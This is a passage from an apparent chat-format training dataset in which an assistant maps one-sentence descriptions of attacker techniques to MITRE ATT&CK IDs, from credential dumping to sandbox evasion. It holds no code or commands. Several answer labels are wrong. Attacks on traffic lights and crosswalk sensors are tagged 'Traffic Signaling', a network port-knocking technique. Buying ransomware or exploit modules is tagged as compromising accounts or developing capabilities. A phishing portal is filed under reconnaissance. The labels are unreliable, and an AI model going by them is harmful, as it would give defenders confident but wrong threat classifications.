                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit a previously compromised cloud service account to move laterally across the victim's cloud infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1078.004 - Valid Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script leverages SSH to copy files from the victim's system to a remote attacker-controlled machine."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a malicious DLL to hook Windows' GetMessage API, capturing screenshots of user keystrokes and mouse clicks in GUI applications."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious DLL is added to AppInit_DLLs, allowing the attacker to run code whenever the user logs in and any UI process starts."
            },
            {
                "role": "assistant",
                "content": "T1546.010 - Event Triggered Execution: AppInit DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy bootkit implants code into the system's firmware, persisting across OS reinstalls."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Pre-OS Boot: Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code utilized Azure AD Application Proxy to tunnel remote desktop connections to internal machines."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages the OneDrive sync client to silently transfer harvested files to a cloud account they have previously compromised."
            },
            {
                "role": "assistant",
                "content": "T1537 - Transfer Data to Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages the Windows \"runas\" utility with saved credentials, triggering an elevation prompt that the victim enters their credentials for, inadvertently giving the attacker elevated execution."
            },
            {
                "role": "assistant",
                "content": "T1548.004 - Abuse Elevation Control Mechanism: Elevated Execution with Prompt"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltrating sensitive data, the threat actor used PowerShell to purge the mailboxes of compromised accounts, removing all inbound and outbound messages."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the contents of the Windows Prefetch folder to identify recently executed programs."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors spin up compute instances in a cloud region that is unsupported by the victim's compliance scanners to evade detection."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious shim is deployed to the system's shimcache, causing the targeted application to load an attacker‑controlled library instead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1546.011 - Event Triggered Execution: Application Shimming"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious process is registered as a service called \"Remote Desktop Configuration\" to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat group employs a list of common endpoint names to probe a REST API for undisclosed methods."
            },
            {
                "role": "assistant",
                "content": "T1595.003 - Active Scanning: Wordlist Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a UART interface, the adversary triggers the ROMMON environment and runs a ROMMONkit payload that bypasses authentication checks."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages DNS SRV records to discover service locations and compute the next hop for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised web form mimicking a vendor portal asks users to re-enter their authentication tokens, effectively harvesting credentials through phishing."
            },
            {
                "role": "assistant",
                "content": "T1598 - Phishing for Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a vulnerability in a city's traffic light controller software to change green lights to red at intersections."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A remote access trojan hooks the Windows input subsystem to log keystrokes typed into any GUI program, enabling credential theft."
            },
            {
                "role": "assistant",
                "content": "T1056.002 - Input Capture: GUI Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a misconfigured service that loads libraries from a relative path, inserting a malicious module that is loaded ahead of the legitimate one."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code harvests SAML assertions from an Identity Provider and reuses them to impersonate the user in cloud applications."
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the `crictl exec` tool to run commands inside a container managed by CRI-O."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor exfiltrates system information by creating a new entry on a publicly accessible text storage platform."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a custom script to perform DNS queries that compute algorithmic domain names on the fly, allowing them to resolve C2 servers dynamically."
            },
            {
                "role": "assistant",
                "content": "T1568.003 - Dynamic Resolution: DNS Calculation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, regsvr32 was used to load a rogue DLL from a UNC path, enabling lateral movement across the network."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool issues commands to the OS to suspend cryptographic acceleration hardware, degrading encryption performance and security."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the sudoers file to include a command that runs a malicious binary whenever sudo is invoked."
            },
            {
                "role": "assistant",
                "content": "T1546.004 - Event Triggered Execution: Unix Shell Configuration Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit enumerates kernel driver objects via the NtQueryObject API to map driver memory addresses."
            },
            {
                "role": "assistant",
                "content": "T1652 - Device Driver Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop a supply‑chain exploit that injects malicious code into a legitimate software update."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through LLMNR/NBT‑NS spoofing, the attacker forces the victim to authenticate to a rogue host, captures the credentials, and relays them over SMB to gain elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1557.001 - Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using stolen credentials, the intruder reverted a Google Cloud VM to its earlier state, re-establishing malicious services that had been removed."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits a vulnerable update mechanism to install a deliberately outdated version of the antivirus software, causing the protection to downgrade."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages audio steganography, encoding a reverse shell command in the silent sections of an MP3 track that is later played on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor enumerates the user's email client configuration files and retrieves stored mail data."
            },
            {
                "role": "assistant",
                "content": "T1114.001 - Email Collection: Local Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a credential dumping attack targeting the Windows registry to retrieve cached credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.005 - OS Credential Dumping: Cached Domain Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a fake DLL in the Windows system directory, using a forged code signing certificate that fails validation, to masquerade as a trusted library."
            },
            {
                "role": "assistant",
                "content": "T1036.001 - Masquerading: Invalid Code Signature"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor employed the 'takeown' utility to take ownership of a directory and then modified its ACLs to allow execution."
            },
            {
                "role": "assistant",
                "content": "T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a malicious PowerShell script to launch a mining payload that hijacks system resources across the network."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware scans for devices with default usernames like 'admin' and 'user' and attempts to authenticate using common passwords."
            },
            {
                "role": "assistant",
                "content": "T1078.001 - Valid Accounts: Default Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised executive's email account distributes a message warning of a phishing attempt, paradoxically containing an attachment that executes ransomware when opened."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs a virtual instance that runs in memory, masking the presence of the attacker's files."
            },
            {
                "role": "assistant",
                "content": "T1564.006 - Hide Artifacts: Run Virtual Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign tricks users into entering their corporate credentials on a fake login portal that records the information."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker disguised a trojan by altering its file metadata to show a .mp3 extension, causing it to be perceived as an audio file."
            },
            {
                "role": "assistant",
                "content": "T1036.008 - Masquerading: Masquerade File Type"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the intrusion, the threat actor used a file called \"notepad.exe \" (including a trailing space) to disguise malware as a legitimate Windows utility."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a video conference, an attacker modifies RTP packets to embed hidden commands that are executed by the client software."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor employs a sandbox evasion technique to detect and evade analysis within a sandbox environment, making it more difficult for security controls to detect the malware."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary purchases a ransomware-as-a-service subscription to launch attacks."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker accesses the Group Policy Preferences folder to collect unsecured passwords for privileged accounts."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder leverages XSL Script Processing to perform DLL injection by embedding VBScript within an XSL stylesheet loaded by a vulnerable service."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit of the Dirty COW vulnerability (CVE‑2016‑5195) is used to write to read‑only files and gain root."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers tamper with the code signing certificate of a legitimate client application, allowing them to distribute altered binaries."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware checks for active audio input devices and records ambient sound; if silence is detected, it assumes an automated analysis environment and self‑terminates."
            },
            {
                "role": "assistant",
                "content": "T1497.002 - Virtualization/Sandbox Evasion: User Activity Based Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a crafted registry key, the attacker tricks Verclsid.exe into loading a malicious COM server, achieving code execution via proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.012 - System Binary Proxy Execution: Verclsid"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor purchases a collection of exploit modules to use in a multi‑stage attack framework."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging the CreateRemoteThread function, the threat actor writes malicious payload into the target's extra window memory region."
            },
            {
                "role": "assistant",
                "content": "T1055.011 - Process Injection: Extra Window Memory Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a legitimate local account, the attacker disables security tools and installs backdoors."
            },
            {
                "role": "assistant",
                "content": "T1078.003 - Valid Accounts: Local Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a .js file on the victim host and executes it via wscript.exe to run malicious JavaScript commands."
            },
            {
                "role": "assistant",
                "content": "T1059.007 - Command and Scripting Interpreter: JavaScript"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers clear the Windows Event Log for command-line activity by disabling PowerShell logging and removing entries from the history."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves sending a specific series of network probes to closed ports, which the compromised host interprets as a secret handshake to enable privileged access."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious DLL hooked into the password validation function captures credentials and writes them to a hidden file during user logon."
            },
            {
                "role": "assistant",
                "content": "T1556.002 - Modify Authentication Process: Password Filter DLL"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds a DDE link in a spreadsheet that, when opened, triggers a remote code execution payload."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a launch daemon that automatically runs a credential dumping tool at startup."
            },
            {
                "role": "assistant",
                "content": "T1543.004 - Create or Modify System Process: Launch Daemon"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor utilizes covert channels in the IPv6 hop-by-hop options header for data transfer."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mshta, the threat actor runs a base64‑encoded script embedded in a PowerShell command to launch a reverse shell."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By compromising the KRBTGT account, the attacker creates a Golden Ticket for persistent privilege escalation across the network."
            },
            {
                "role": "assistant",
                "content": "T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor harvested OAuth access tokens from compromised web applications and used them to call the victim’s API services without needing user credentials."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious document used JavaScript that was hex-encoded and then decoded at execution to hide its true purpose."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers inject code that disables perfect forward secrecy on email servers, forcing the use of static RSA keys for encryption."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accessed \\NAS01\\CompanyDocs and transferred all contract documents to an attacker server."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary writes exploit code targeting a zero‑day vulnerability to embed malware."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates all installed Windows services using the 'sc query' command to identify potential privilege escalation targets."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a covert web service for data exfiltration, employing only outbound traffic and discarding any inbound responses."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion script calls `Get-ADGroupMember` to list members of privileged groups."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering Group Policy, the attacker disables Windows Firewall across the network."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised IoT sensor at a crosswalk, the attacker injects false pedestrian detection data to trigger unnecessary walk signals, disrupting vehicle flow."
            },
            {
                "role": "assistant",
                "content": "T1205 - Traffic Signaling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
